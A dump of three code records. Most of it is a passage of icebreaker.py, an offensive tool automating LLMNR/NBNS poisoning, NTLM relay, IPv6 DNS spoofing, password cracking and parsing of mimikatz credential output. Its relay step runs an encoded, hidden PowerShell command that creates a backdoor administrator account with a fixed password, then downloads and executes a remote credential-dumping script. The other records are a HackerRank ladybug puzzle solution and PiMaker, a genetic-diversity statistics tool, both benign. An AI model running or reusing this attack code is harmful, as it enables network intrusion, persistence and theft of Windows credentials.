(iface.startswith('lo') or addr.startswith('127.')):\n ifaces.append(iface)\n\n # Probably will only find 1 interface, but in case of more just use the first one\n return ifaces[0]\n\ndef get_ip():\n iface = get_iface()\n ip = netifaces.ifaddresses(iface)[netifaces.AF_INET][0]['addr']\n return ip\n\ndef run_proc(cmd):\n '''\n Runs single commands\n ntlmrelayx needs the -c \"powershell ... ...\" cmd to be one arg tho\n '''\n # Set up ntlmrelayx commands\n # only ntlmrelayx has a \" in it\n dquote_split = cmd.split('\"')\n\n if len(dquote_split) > 1:\n cmd_split = dquote_split[0].split()\n ntlmrelayx_remote_cmd = dquote_split[1]\n cmd_split.append(ntlmrelayx_remote_cmd)\n else:\n cmd_split = cmd.split()\n\n # mitm6 cmd is 'mitm6' with no options\n if 'mitm6' in cmd_split:\n filename = cmd_split[0] + '.log'\n else:\n for x in cmd_split:\n if 'submodules/' in x:\n filename = x.split('/')[-1] + '.log'\n break\n\n print('[*] Running: {}'.format(cmd))\n f = open('logs/'+filename, 'a+')\n proc = Popen(cmd_split, stdout=f, stderr=STDOUT)\n\n return proc\n\ndef create_john_cmd(hash_format, hash_file):\n '''\n Create JohnTheRipper command\n '''\n #./john --format= --wordlist= --rules \n cmd = []\n path = 'submodules/JohnTheRipper/run/john'\n cmd.append(path)\n form = '--format={}'.format(hash_format)\n cmd.append(form)\n wordlist = '--wordlist=submodules/10_million_password_list_top_1000000.txt'\n cmd.append(wordlist)\n cmd.append('--rules')\n cmd.append(hash_file)\n john_cmd = ' '.join(cmd)\n return john_cmd\n\ndef crack_hashes(hashes):\n '''\n Crack hashes with john\n The hashes in the func args include usernames, domains, and such\n hashes = {'NTLMv1':[hash1,hash2], 'NTLMv2':[hash1,hash2]}\n '''\n procs = []\n identifier = ''.join(random.choice(string.ascii_letters) for x in range(7))\n\n hash_folder = os.getcwd()+'/hashes'\n if not os.path.isdir(hash_folder):\n os.mkdir(hash_folder)\n\n if len(hashes) > 0:\n for hash_type in hashes:\n filepath = hash_folder+'/{}-hashes-{}.txt'.format(hash_type, identifier)\n for h in hashes[hash_type]:\n write_to_file(filepath, h, 'a+')\n if 'v1' in hash_type:\n hash_format = 'netntlm'\n elif 'v2' in hash_type:\n hash_format = 'netntlmv2'\n john_cmd = create_john_cmd(hash_format, filepath)\n try:\n john_proc = run_proc(john_cmd)\n except FileNotFoundError:\n print('[-] Error running john for password cracking, \\\n try: cd submodules/JohnTheRipper/src && ./configure && make')\n procs.append(john_proc)\n\n return procs\n\ndef parse_john_show(out, prev_creds):\n '''\n Parses \"john --show output\"\n '''\n for line in out.splitlines():\n line = line.decode('utf8')\n line = line.split(':')\n if len(line) > 3:\n user = line[0]\n pw = line[1]\n host = line[2]\n host_user_pwd = host+'\\\\'+user+':'+pw\n if host_user_pwd not in prev_creds:\n prev_creds.append(host_user_pwd)\n duplicate = check_found_passwords(host_user_pwd)\n if duplicate == False:\n print('[!] Password found! '+host_user_pwd)\n log_pwds([host_user_pwd])\n\n return prev_creds\n\ndef get_cracked_pwds(prev_creds):\n '''\n Check for new cracked passwords\n '''\n hash_folder = os.getcwd()+'/hashes'\n if os.path.isdir(hash_folder):\n dir_contents = os.listdir(os.getcwd()+'/hashes')\n\n for x in dir_contents:\n if re.search('NTLMv(1|2)-hashes-.*\\.txt', x):\n out = check_output('submodules/JohnTheRipper/run/john --show hashes/{}'.format(x).split())\n prev_creds = parse_john_show(out, prev_creds)\n\n return prev_creds\n\ndef check_found_passwords(host_user_pwd):\n '''\n Checks found-passwords.txt to prevent duplication\n '''\n fname = 'found-passwords.txt'\n if os.path.isfile(fname):\n with open(fname, 'r') as f:\n data = f.read()\n if host_user_pwd in data:\n return True\n\n return False\n\ndef start_responder_llmnr():\n '''\n Start Responder alone for LLMNR attack\n '''\n edit_responder_conf('On', ['HTTP', 'SMB'])\n iface = get_iface()\n resp_cmd = 'python2 submodules/Responder/Responder.py -wrd -I {}'.format(iface)\n resp_proc = run_proc(resp_cmd)\n print('[*] Responder-Session.log:')\n return resp_proc\n\ndef run_relay_attack():\n '''\n Start ntlmrelayx for ntlm relaying\n '''\n iface = get_iface()\n edit_responder_conf('Off', ['HTTP', 'SMB'])\n resp_cmd = 'python2 submodules/Responder/Responder.py -wrd -I {}'.format(iface)\n resp_proc = run_proc(resp_cmd)\n\n# net user /add icebreaker P@ssword123456; net localgroup administrators icebreaker /add; IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/DanMcInerney/Obf-Cats/master/Obf-Cats.ps1'); Obf-Cats -pwds\n relay_cmd = ('python2 submodules/impacket/examples/ntlmrelayx.py -6 -wh Proxy-Service'\n ' -of hashes/ntlmrelay-hashes -tf smb-signing-disabled-hosts.txt -wa 3'\n ' -c \"powershell -nop -exec bypass -w hidden -enc '\n 'bgBlAHQAIAB1AHMAZQByACAALwBhAGQAZAAgAGkAYwBlAGIAcgBlAGEAawBlAHIAIABQAEAAcwBzAHcAbwByAGQAMQAyADMANAA1ADYAOwAgAG4AZQB0ACAAbABvAGMAYQBsAGcAcgBvAHUAcAAgAGEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAcwAgAGkAYwBlAGIAcgBlAGEAawBlAHIAIAAvAGEAZABkADsAIABJAEUAWAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcABzADoALwAvAHIAYQB3AC4AZwBpAHQAaAB1AGIAdQBzAGUAcgBjAG8AbgB0AGUAbgB0AC4AYwBvAG0ALwBEAGEAbgBNAGMASQBuAGUAcgBuAGUAeQAvAE8AYgBmAC0AQwBhAHQAcwAvAG0AYQBzAHQAZQByAC8ATwBiAGYALQBDAGEAdABzAC4AcABzADEAJwApADsAIABPAGIAZgAtAEMAYQB0AHMAIAAtAHAAdwBkAHMADQAKAA==')\n ntlmrelay_proc = run_proc(relay_cmd)\n\n return resp_proc, ntlmrelay_proc\n\ndef follow_file(thefile):\n '''\n Works like tail -f\n Follows a constantly updating file\n '''\n thefile.seek(0,2)\n while True:\n line = thefile.readline()\n if not line:\n time.sleep(0.1)\n continue\n yield line\n\ndef check_ntlmrelay_error(line, file_lines):\n '''\n Checks for ntlmrelay errors\n '''\n if 'Traceback (most recent call last):' in line:\n print('[-] Error running ntlmrelayx:\\n')\n for l in file_lines:\n print(l.strip())\n print('\\n[-] Hit CTRL-C to quit')\n return True\n else:\n return False\n\ndef format_mimi_data(dom, user, auth, hash_or_pw, prev_creds):\n '''\n Formats the collected mimikatz data and logs it\n '''\n dom_user_pwd = dom+'\\\\'+user+':'+auth\n\n if dom_user_pwd not in prev_creds:\n prev_creds.append(dom_user_pwd)\n duplicate = check_found_passwords(dom_user_pwd)\n if duplicate == False:\n print('[!] {} found! {}'.format(hash_or_pw, dom_user_pwd))\n log_pwds([dom_user_pwd])\n\n return prev_creds\n\ndef parse_mimikatz(prev_creds, mimi_data, line):\n '''\n Parses mimikatz output for usernames and passwords\n '''\n splitl = line.split(':')\n user = None\n dom = None\n ntlm = None\n\n if \"* Username\" in line:\n if mimi_data['user']:\n user = mimi_data['user']\n if user != '(null)' and mimi_data['dom']:\n dom = mimi_data['dom']\n # Prevent (null) and hex passwords from being stored\n if mimi_data['pw']:\n prev_creds = format_mimi_data(dom, user, mimi_data['pw'], 'Password', prev_creds)\n elif mimi_data['ntlm']:\n prev_creds = format_mimi_data(dom, user, mimi_data['ntlm'], 'Hash', prev_creds)\n\n user = splitl[-1].strip()\n if user != '(null)':\n mimi_data['user'] = user\n mimi_data['dom'] = None\n mimi_data['ntlm'] = None\n mimi_data['pw'] = None\n elif \"* Domain\" in line:\n mimi_data['dom'] = splitl[-1].strip()\n elif \"* NTLM\" in line:\n ntlm = splitl[-1].strip()\n if ntlm != '(null)':\n mimi_data['ntlm'] = splitl[-1].strip()\n elif \"* Password\" in line:\n pw = splitl[-1].strip()\n if pw != '(null)' and pw.count(' ') < 15:\n mimi_data['pw'] = splitl[-1].strip()\n\n return prev_creds, mimi_data\n\ndef parse_responder_log(args, prev_lines, prev_creds):\n '''\n Gets and cracks responder hashes\n Avoids getting and cracking previous hashes\n '''\n new_lines = []\n\n # Print responder-session.log output so we know it's running\n path = 'submodules/Responder/logs/Responder-Session.log'\n if os.path.isfile(path):\n with open(path, 'r') as f:\n contents = f.readlines()\n\n for line in contents:\n if line not in prev_lines:\n new_lines.append(line)\n line = line.strip()\n print(' [Responder] '+line)\n prev_creds, new_hash = get_responder_hashes(line, prev_creds)\n\n if new_hash:\n if 'crack' not in args.skip.lower():\n john_proc = crack_hashes(new_hash)\n\n prev_creds = get_cracked_pwds(prev_creds)\n\n return prev_creds, new_lines\n\ndef get_responder_hashes(line, prev_creds):\n '''\n Parse responder to get usernames and IPs for 2 pw bruteforcing\n '''\n hash_id = ' Hash : '\n new_hash = None\n\n # We add the username in form of 'LAB\\user' to prev_creds to prevent duplication\n if hash_id in line:\n ntlm_hash = line.split(hash_id)[-1].strip()+'\\n'\n hash_split = ntlm_hash.split(':')\n user = hash_split[2]+'\\\\'+hash_split[0]\n\n if user not in prev_creds:\n prev_creds.append(user)\n print('[+] Hash found for {}!'.format(user))\n if ntlm_hash.count(':') == 5:\n new_hash = {'NTLMv2':[ntlm_hash]}\n elif ntlm_hash.count(':') == 4:\n new_hash = {'NTLMv1':[ntlm_hash]}\n\n return prev_creds, new_hash\n\ndef cleanup_responder(resp_proc, prev_creds):\n '''\n Kill responder and move the log file\n '''\n resp_proc.kill()\n path = 'submodules/Responder/logs/Responder-Session.log'\n timestamp = str(time.time())\n os.rename(path, path+'-'+timestamp)\n prev_creds = get_cracked_pwds(prev_creds)\n\n return prev_creds\n\ndef cleanup_mitm6(mitm6_proc):\n '''\n SIGINT mitm6\n '''\n pid = mitm6_proc.pid\n os.kill(pid, signal.SIGINT)\n if not mitm6_proc.poll():\n print('[*] Waiting on mitm6 to cleanly shut down...')\n\n arp_file = 'arp.cache'\n if os.path.isfile(arp_file):\n os.remove(arp_file)\n\ndef get_user_from_ntlm_hash(ntlm_hash):\n '''\n Gets the username in form of LAB\\\\uame from ntlm hash\n '''\n hash_split = ntlm_hash.split(':')\n user = hash_split[2]+'\\\\'+hash_split[0]\n\n return user\n\ndef parse_ntlmrelay_line(line, successful_auth, prev_creds, args):\n '''\n Parses ntlmrelayx.py's output\n '''\n hashes = {}\n\n # check for errors\n if line.startswith(' ') or line.startswith('Traceback') or line.startswith('ERROR'):\n # First few lines of mimikatz logo start with ' ' and have #### in them\n if '####' not in line and 'mimikatz_initOrClean ; CoInitializeEx' not in line:\n print(' '+line.strip())\n\n # ntlmrelayx output\n if re.search('\\[.\\]', line):\n print(' '+line.strip())\n\n # Only try to crack successful auth hashes\n if successful_auth == True:\n successful_auth = False\n netntlm_hash = line.split()[-1]+'\\n'\n user = get_user_from_ntlm_hash(netntlm_hash)\n\n if user not in prev_creds:\n prev_creds.append(user)\n\n if netntlm_hash.count(':') == 5:\n hash_type = 'NTLMv2'\n hashes[hash_type] = [netntlm_hash]\n\n if netntlm_hash.count(':') == 4:\n hash_type = 'NTLMv1'\n hashes[hash_type] = [netntlm_hash]\n\n if len(hashes) > 0:\n if 'crack' not in args.skip.lower():\n john_procs = crack_hashes(hashes)\n\n if successful_auth == False:\n if ' SUCCEED' in line:\n successful_auth = True\n\n if 'Executed specified command on host' in line:\n ip = line.split()[-1]\n host_user_pwd = ip+'\\\\icebreaker:P@ssword123456'\n prev_creds.append(host_user_pwd)\n duplicate = check_found_passwords(host_user_pwd)\n if duplicate == False:\n print('[!] User created! '+host_user_pwd)\n log_pwds([host_user_pwd])\n\n return prev_creds, successful_auth\n\ndef run_ipv6_dns_poison():\n '''\n Runs mitm6 to poison DNS via IPv6\n '''\n cmd = 'mitm6'\n mitm6_proc = run_proc(cmd)\n\n return mitm6_proc\n\ndef do_ntlmrelay(prev_creds, args):\n '''\n Continuously monitor and parse ntlmrelay output\n '''\n mitm6_proc = None\n\n print('\\n[*] Attack 4: NTLM relay with Responder and ntlmrelayx')\n resp_proc, ntlmrelay_proc = run_relay_attack()\n\n if 'dns' not in args.skip:\n print('\\n[*] Attack 5: IPv6 DNS Poison')\n mitm6_proc = run_ipv6_dns_poison()\n\n ########## CTRL-C HANDLER ##############################\n def signal_handler(signal, frame):\n '''\n Catch CTRL-C and kill procs\n '''\n print('\\n[-] CTRL-C caught, cleaning up and closing')\n\n # Kill procs\n cleanup_responder(resp_proc, prev_creds)\n ntlmrelay_proc.kill()\n\n # Cleanup hash files\n cleanup_hash_files()\n\n # Clean up SCF file\n remote_scf_cleanup()\n\n # Kill mitm6\n if mitm6_proc:\n cleanup_mitm6(mitm6_proc)\n\n sys.exit()\n\n signal.signal(signal.SIGINT, signal_handler)\n ########## CTRL-C HANDLER ##############################\n\n mimi_data = {'dom':None, 'user':None, 'ntlm':None, 'pw':None}\n print('\\n[*] ntlmrelayx.py output:')\n ntlmrelay_file = open('logs/ntlmrelayx.py.log', 'r')\n file_lines = follow_file(ntlmrelay_file)\n\n successful_auth = False\n for line in file_lines:\n # Parse ntlmrelay output\n prev_creds, successful_auth = parse_ntlmrelay_line(line, successful_auth, prev_creds, args)\n # Parse mimikatz output\n prev_creds, mimi_data = parse_mimikatz(prev_creds, mimi_data, line)\n\ndef check_for_nse_scripts(hosts):\n '''\n Checks if both NSE scripts were run\n '''\n sec_run = False\n enum_run = False\n\n for host in hosts:\n ip = host.address\n\n # Get SMB signing data\n for script_out in host.scripts_results:\n if script_out['id'] == 'smb-security-mode':\n sec_run = True\n\n if script_out['id'] == 'smb-enum-shares':\n enum_run = True\n\n if sec_run == False or enum_run == False:\n return False\n else:\n return True\n\ndef remote_scf_cleanup():\n '''\n Deletes the scf file from the remote shares\n '''\n path = 'logs/shares-with-SCF.txt'\n if os.path.isfile(path):\n with open(path) as f:\n lines = f.readlines()\n for l in lines:\n # Returns '['', '', '10.1.1.0', 'path/to/share\\n']\n split_line = l.split('\\\\', 3)\n ip = split_line[2]\n share_folder = split_line[3].strip()\n action = 'rm'\n scf_filepath = '@local.scf'\n stdout, stderr = run_smbclient(ip, share_folder, action, scf_filepath)\n\ndef cleanup_hash_files():\n '''\n Puts all the hash files of each type into one file\n '''\n resp_hash_folder = os.getcwd()+'/submodules/Responder/logs'\n hash_folder = os.getcwd()+'/hashes'\n\n\n for fname in os.listdir(resp_hash_folder):\n if re.search('v(1|2).*\\.txt', fname):\n\n if not os.path.isdir(hash_folder):\n os.mkdir(hash_folder)\n\n os.rename(resp_hash_folder+'/'+fname, hash_folder+'/'+fname)\n\ndef main(report, args):\n '''\n Performs:\n SCF file upload for hash collection\n SMB reverse bruteforce\n Responder LLMNR poisoning\n SMB relay\n Hash cracking\n '''\n prev_creds = []\n prev_users = []\n loop = asyncio.get_event_loop()\n\n passwords = create_passwords(args)\n\n # Returns a list of Nmap object hosts\n # So you must use host.address, for example, to get the ip\n hosts = get_hosts(args, report)\n\n if len(hosts) > 0:\n nse_scripts_run = check_for_nse_scripts(hosts)\n\n # If Nmap XML shows that one or both NSE scripts weren't run, do it now\n if nse_scripts_run == False:\n hosts = run_nse_scripts(args, hosts)\n\n for h in hosts:\n print('[+] SMB open: {}'.format(h.address))\n\n # ATTACK 1: RID Cycling into reverse bruteforce\n if 'rid' not in args.skip.lower():\n prev_creds, prev_users, domains = smb_reverse_brute(loop, hosts, args, passwords, prev_creds, prev_users)\n\n # ATTACK 2: SCF file upload to writeable shares\n parse_nse(hosts, args)\n\n else:\n print('[-] No hosts with port 445 open. \\\n Skipping all attacks except LLMNR/NBNS/mDNS poison attack with Responder.py')\n\n # ATTACK 3: LLMNR poisoning\n if 'llmnr' not in args.skip.lower():\n print('\\n[*] Attack 3: LLMNR/NBTS/mDNS poisoning for NTLM hashes')\n prev_lines = []\n resp_proc = start_responder_llmnr()\n time.sleep(2)\n\n # Check for hashes for set amount of time\n timeout = time.time() + 60 * int(args.time)\n try:\n while time.time() < timeout:\n prev_creds, new_lines = parse_responder_log(args, prev_lines, prev_creds)\n\n for line in new_lines:\n prev_lines.append(line)\n\n time.sleep(0.1)\n\n prev_creds = cleanup_responder(resp_proc, prev_creds)\n\n except KeyboardInterrupt:\n print('\\n[-] Killing Responder.py and moving on')\n prev_creds = cleanup_responder(resp_proc, prev_creds)\n # Give responder some time to die with dignity\n time.sleep(2)\n\n # ATTACK 4: NTLM relay\n # ATTACK 5: IPv6 DNS WPAD spoof\n if 'relay' not in args.skip.lower() and len(hosts) > 0:\n do_ntlmrelay(prev_creds, args)\n\nif __name__ == \"__main__\":\n args = parse_args()\n if os.geteuid():\n exit('[-] Run as root')\n report = parse_nmap(args)\n main(report, args)\n\n# Left off\n# Change responder hash-finding to read Responder-Session.log and not the hash file\n# Multiple hashes get stored in the hashfile so just continually checking for new hash files\n# wont work at all on new hashes written to the same file\n","repo_name":"fortify24x7/icebreaker","sub_path":"icebreaker.py","file_name":"icebreaker.py","file_ext":"py","file_size_in_byte":37377,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"}
+{"seq_id":"9529429033","text":"import math\nimport os\nimport random\nimport re\nimport sys\nfrom collections import Counter\n\n#\n# Complete the 'happyLadybugs' function below.\n#\n# The function is expected to return a STRING.\n# The function accepts STRING b as parameter.\n#\n\ndef happyLadybugs(b):\n values = set(b)\n\n for i in values:\n if i != \"_\" and b.count(i)<2:\n return \"NO\"\n \n if \"_\" in values:\n return \"YES\"\n else:\n for i in range(1, len(b)-1):\n if b[i] != b[i-1] and b[i] != b[i+1]:\n return \"NO\"\n return \"YES\"\n\n\nif __name__ == '__main__':\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n g = int(input().strip())\n\n for g_itr in range(g):\n n = int(input().strip())\n\n b = input()\n\n result = happyLadybugs(b)\n\n fptr.write(result + '\\n')\n\n fptr.close()\n","repo_name":"falvey20/HackerRank-Python","sub_path":"Easy/Happy Ladybugs/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":830,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"21380014215","text":"#!/usr/bin/env python\n# coding: utf-8\n\n\"\"\"\nRun PiMaker and organize output.\n\nThis module contains the central calcPi function, which calls functions to load\ninput into memory, run data processing functions in multiple processes, and then\ncompiling results into summary dataframes.\n\n\"\"\"\n\nimport os\nimport sys\nimport numpy as np\nimport pandas as pd\nfrom tqdm import tqdm\nimport multiprocessing as mp\nimport fileio\nimport filters\nimport chunk\nfrom timeit import default_timer as timer\n\n\ndef make_pi(vcf_file, ref_fasta, gtf_file=None,\n output_file_prefix='pimaker/results', maf=0.01,\n mutation_rates=None, include_stop_codons=False,\n rolling_window=None, pi_only=False, chunk_size=int(1e6),\n cache_folder=None, num_processes=1, return_results=False,\n return_csv=False):\n \"\"\"\n Calculates pi, piN, and piS. Implements PiMaker algorithm.\n\n Args:\n vcf_file:\n Path to the vcf file of variants. VCF file should contain all\n samples/pools sequenced.\n ref_fasta:\n Fasta file containing the reference sequence of all contigs. The\n names of each contig should be identical to the contig names in the\n vcf file.\n gtf_file:\n Optional, default None. Path to the gtf file or gff3 file that\n contains the coordinates of all coding regions. Necessary to\n calculate piN and piS values.\n output_file_prefix:\n Optional, default 'pimaker/results'. Specifies the folder to which\n results will be saved, and any prefix to be applied to result files\n from this run. For example, the default value will save sample\n summary statistics to the current working directory +\n '/pimaker/results_sample.csv'.\n maf:\n Optional, default 0.01. Minimum allele frequency of variants to\n be considered. For each sample/pool, if a variant's within-sample\n frequency is less than this value, that variant will be zeroed out\n in that sample/pool.\n mutation_rates:\n Optional, default None. Either a 4x4 array-like object containing\n relative mutation rates from ACGT (rows) to ACGT (columns), or a\n path to a file containing that object. Allows users to incorporate\n empirically determined mutation rates (or relative\n transversion/transition rates) when determining the number of\n synonymous or nonsynonymous sites per sample. (Implements\n `Ina (1995)`_ method of site count adjustment.)\n include_stop_codons:\n If True, will count mutations to or from stop\n codons as nonsynonymous. Most methods of calculating synon/nonsynon\n sites assume nonsense mutations are always evolutionary dead ends,\n and thus should be ignored. In some situations, that may not be the\n case. Optional, default False.\n rolling_window:\n Optional, default None. Currently unimplemented.\n pi_only:\n Optional, defualt False. Currently unimplemented.\n chunk_size:\n Optional, default 1e6. Number of nucleotides of each contig's\n reference sequence to be processed per chunk. If 0, each contig\n will be placed into the chunk queue as one chunk.\n cache_folder: \n Optional, default None. Folder for PiMaker to save cached,\n processed variant data.\n num_processes:\n Optional, default 1. Number of processes running\n :func:`process_chunk`.\n return_results:\n If True, returns three pandas dataframe containing summary results\n for each sample, for each contig, and for each gene.\n return_csv:\n If True, returns the paths of the .csv files where the summary\n results for each sample, for each contig, and for each gene were\n saved.\n Returns:\n By default, returns None.\n\n If return_results is True, returns three pandas dataframe containing\n summary results for each sample, for each contig, and for each gene.\n\n If return_csv, returns the paths of the .csv files where the summary\n results for each sample, for each contig, and for each gene were saved.\n \"\"\"\n print (\"Welcome to PiMaker!\")\n output_file_prefix, cache_folder = fileio.setup_environment(output_file_prefix,\n cache_folder=cache_folder)\n\n if mutation_rates:\n mutation_rates = fileio.read_mutation_rates(mutation_rates)\n\n num_sites_dict = filters.make_num_sites_dict(mutation_rates, include_stop_codons)\n synon_cts = filters.make_synon_nonsynon_site_dict(num_sites_dict, include_stop_codons)\n\n print (f'Loading reference sequence from {ref_fasta}...')\n ref_array, contig_starts, contig_coords = fileio.load_references(ref_fasta)\n\n sample_list = fileio.get_sample_list(vcf_file)\n num_var = fileio.get_num_var(vcf_file)\n\n print (f'Loading annotation information from {gtf_file}...')\n gene_coords, transcript_to_gene_id, id_to_symbol = fileio.parse_gtf(gtf_file, contig_starts)\n\n # Now that data is loaded, set up multiprocessing queues\n chunk_queue = mp.Queue(num_processes * 2)\n results_queue = mp.Queue(num_processes * 2)\n tqdm_lock = tqdm.get_lock()\n\n # Create process to load queue with chunks of data\n iterator_args = vcf_file, ref_array, contig_coords, gene_coords, chunk_queue, tqdm_lock\n iterator_kwargs = {'num_var': num_var, 'num_processes': num_processes, 'chunk_size': chunk_size, 'maf': maf}\n iterator_process = mp.Process(target=chunk.iterate_records, args=iterator_args, kwargs=iterator_kwargs)\n iterator_process.start()\n\n # Create processes to process chunks of data\n chunk_args = (chunk_queue, results_queue, sample_list, id_to_symbol, transcript_to_gene_id, synon_cts, tqdm_lock)\n executors = [mp.Process(target=chunk.process_chunk, args=chunk_args + (i,)) for i in range(num_processes)]\n for executor in executors:\n executor.start()\n\n # Set up lists to collect the locations of result files\n result_files_sample_pi = list()\n result_files_genes_pi = list()\n result_files_sites_pi = {contig: list() for contig in contig_starts.keys()}\n\n # Wait for results to come in, save to HDD to save memory and store result file locations\n none_tracker = 0\n while True:\n result = results_queue.get()\n if result is None:\n none_tracker += 1\n if none_tracker == num_processes:\n break\n else:\n sample_filename, gene_filename, site_filename = fileio.save_tmp_chunk_results(*result, cache_folder)\n result_files_sample_pi.append(sample_filename)\n result_files_genes_pi.append(gene_filename)\n result_files_sites_pi[result[0]].append(site_filename)\n\n # Join and close processes before moving on\n iterator_process.join()\n iterator_process.close()\n for executor in executors:\n executor.join()\n executor.close()\n\n # If the user wants the raw output files, return those locations.\n if return_csv:\n return result_files_sample_pi, result_files_genes_pi, result_files_sites_pi\n\n # Else, compile formatted, collated reports\n print ('Making gene reports...')\n pi_per_gene_df = pd.DataFrame()\n for gene_filename in result_files_genes_pi:\n pi_per_gene_df = pi_per_gene_df.append(pd.read_csv(gene_filename))\n\n def _weighted_avg_nonsynon(x):\n return np.average(x.piN_no_overlap, weights=x.N_sites_no_overlap)\n\n def _weighted_avg_synon(x):\n return np.average(x.piS_no_overlap, weights=x.S_sites_no_overlap)\n\n # these are very large files. calc the things we need for the sample and contig dataframes\n # save and close right away.\n # At the moment these statistics are calculated from the first transcript in a gene.\n first_transcripts = pi_per_gene_df.groupby(['gene_id', 'sample_id']).first()\n transcripts_per_sample = first_transcripts.groupby(['sample_id'])\n transcripts_per_contig = first_transcripts.groupby(['contig', 'sample_id'])\n\n per_sample_piN = transcripts_per_sample.apply(_weighted_avg_nonsynon).values\n per_sample_piS = transcripts_per_sample.apply(_weighted_avg_synon).values\n\n per_sample_N_sites = transcripts_per_sample.apply(lambda x: np.sum(x.N_sites_no_overlap)).values\n per_sample_S_sites = transcripts_per_sample.apply(lambda x: np.sum(x.S_sites_no_overlap)).values\n\n per_contig_piN = transcripts_per_contig.apply(_weighted_avg_nonsynon).reset_index()\n per_contig_piS = transcripts_per_contig.apply(_weighted_avg_synon).reset_index()\n\n per_contig_N_sites = transcripts_per_contig.apply(lambda x: np.sum(x.N_sites_no_overlap)).reset_index()\n per_contig_S_sites = transcripts_per_contig.apply(lambda x: np.sum(x.S_sites_no_overlap)).reset_index()\n\n # remove the tmp per-chunk files and save main results file\n for gene_filename in result_files_genes_pi:\n os.remove(gene_filename)\n\n pi_per_gene_df.to_csv(output_file_prefix + \"_genes.csv\")\n if not return_results:\n del pi_per_gene_df\n\n print ('Making sample report...')\n pi_per_sample_df = pd.DataFrame()\n for sample_filename in result_files_sample_pi:\n pi_per_sample_df = pi_per_sample_df.append(pd.read_csv(sample_filename))\n\n # Stitch together chunks using groupby.\n # note that both per_site stats and per_gene stats are not going to be\n # affected by chunking, since chunks are always divided in intergenic\n # regions\n per_sample_and_stat = pi_per_sample_df.groupby(['sample_id', 'stat_name'])\n pi_per_sample_df = per_sample_and_stat.apply(lambda x: np.average(x.stat, weights=x.chunk_len))\n pi_per_sample_df['piN'] = per_sample_piN\n pi_per_sample_df['piS'] = per_sample_piS\n pi_per_sample_df['N_sites'] = per_sample_N_sites\n pi_per_sample_df['S_sites'] = per_sample_S_sites\n\n for sample_filename in result_files_sample_pi:\n os.remove(sample_filename)\n\n pi_per_sample_df.to_csv(output_file_prefix + \"_samples.csv\")\n if not return_results:\n del pi_per_sample_df\n\n print ('Making contig report...')\n contig_dfs = pd.DataFrame()\n contig_pis = {contig: None for contig in result_files_sites_pi.keys()}\n contig_lengths = {contig: (contig_coords[contig][1] - contig_coords[contig][0])\n for contig in contig_coords.keys()}\n\n for contig, site_chunk_filenames in result_files_sites_pi.items():\n site_pi_df = pd.read_csv(site_chunk_filenames[0])\n for filename in site_chunk_filenames[1:]:\n df = pd.read_csv(filename)\n site_pi_df = site_pi_df.merge(df, on=['sample_id', 'contig', 'stat_name'])\n\n site_pi_df.to_csv(output_file_prefix + f'_{contig}_sites.csv.gz', compression='gzip')\n contig_pis[contig] = site_pi_df.iloc[:, 3:].sum(1) / contig_lengths[contig]\n\n # delete contig's per-site data and clear per-site tmp files right away,\n # since this is a huge file\n del site_pi_df\n for filename in site_chunk_filenames:\n os.remove(filename)\n\n # Now, process per-contig data\n sample_contig_stats = [{'sample_id': sample_id, 'contig': contig, 'contig_length': contig_lengths[contig], 'pi': pi}\n for sample_id, pi in zip(sample_list, contig_pis[contig])]\n pi_per_contig_df = pd.DataFrame(sample_contig_stats)\n pi_per_contig_df = pi_per_contig_df.merge(per_contig_piN, on=['contig', 'sample_id'], how='left').rename(columns={0: 'piN'})\n pi_per_contig_df = pi_per_contig_df.merge(per_contig_piS, on=['contig', 'sample_id'], how='left').rename(columns={0: 'piS'})\n pi_per_contig_df = pi_per_contig_df.merge(per_contig_N_sites, on=['contig', 'sample_id'], how='left').rename(columns={0: 'N_sites'})\n pi_per_contig_df = pi_per_contig_df.merge(per_contig_S_sites, on=['contig', 'sample_id'], how='left').rename(columns={0: 'S_sites'})\n\n pi_per_contig_df.to_csv(output_file_prefix + f'_{contig}_summary_statistics.csv.gz', compression='gzip')\n if not return_results:\n del pi_per_contig_df\n else:\n contig_dfs = contig_dfs.append(pi_per_contig_df)\n\n # Finally, return results or filenames of results\n if return_results:\n return pi_per_sample_df, contig_dfs, pi_per_gene_df\n else:\n return None\n\n\ndef main(args=None):\n \"\"\"\n Main function called during command line use of PiMaker. Obtains command\n line arguments, and runs :func:makepi. \n \"\"\"\n print('Welcome to PiMaker!')\n parser = args.get_parser()\n arg_name_dict = {'vcf': 'vcf_file', 'gtf': 'gtf_file', 'threads': 'num_processes', 'output': 'output_file_prefix'}\n if len(sys.argv[1:]) == 0:\n parser.print_help()\n parser.exit()\n else:\n args = parser.parse_args()\n args = vars(args)\n args = {arg_name_dict.get(k, k): v for k, v in args.items()}\n print (args)\n print ('\\n')\n start = timer()\n with open('log.txt', 'a') as f:\n f.write(f'{start}\\n')\n make_pi(**args)\n stop = timer()\n\n print(stop - start)\n with open('log.txt', 'a') as f:\n f.write(f'{stop}\\n')\n f.write(f'{stop - start}\\n')\n return None\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"JosephLalli/PiMaker","sub_path":"pimaker/pimaker.py","file_name":"pimaker.py","file_ext":"py","file_size_in_byte":13442,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
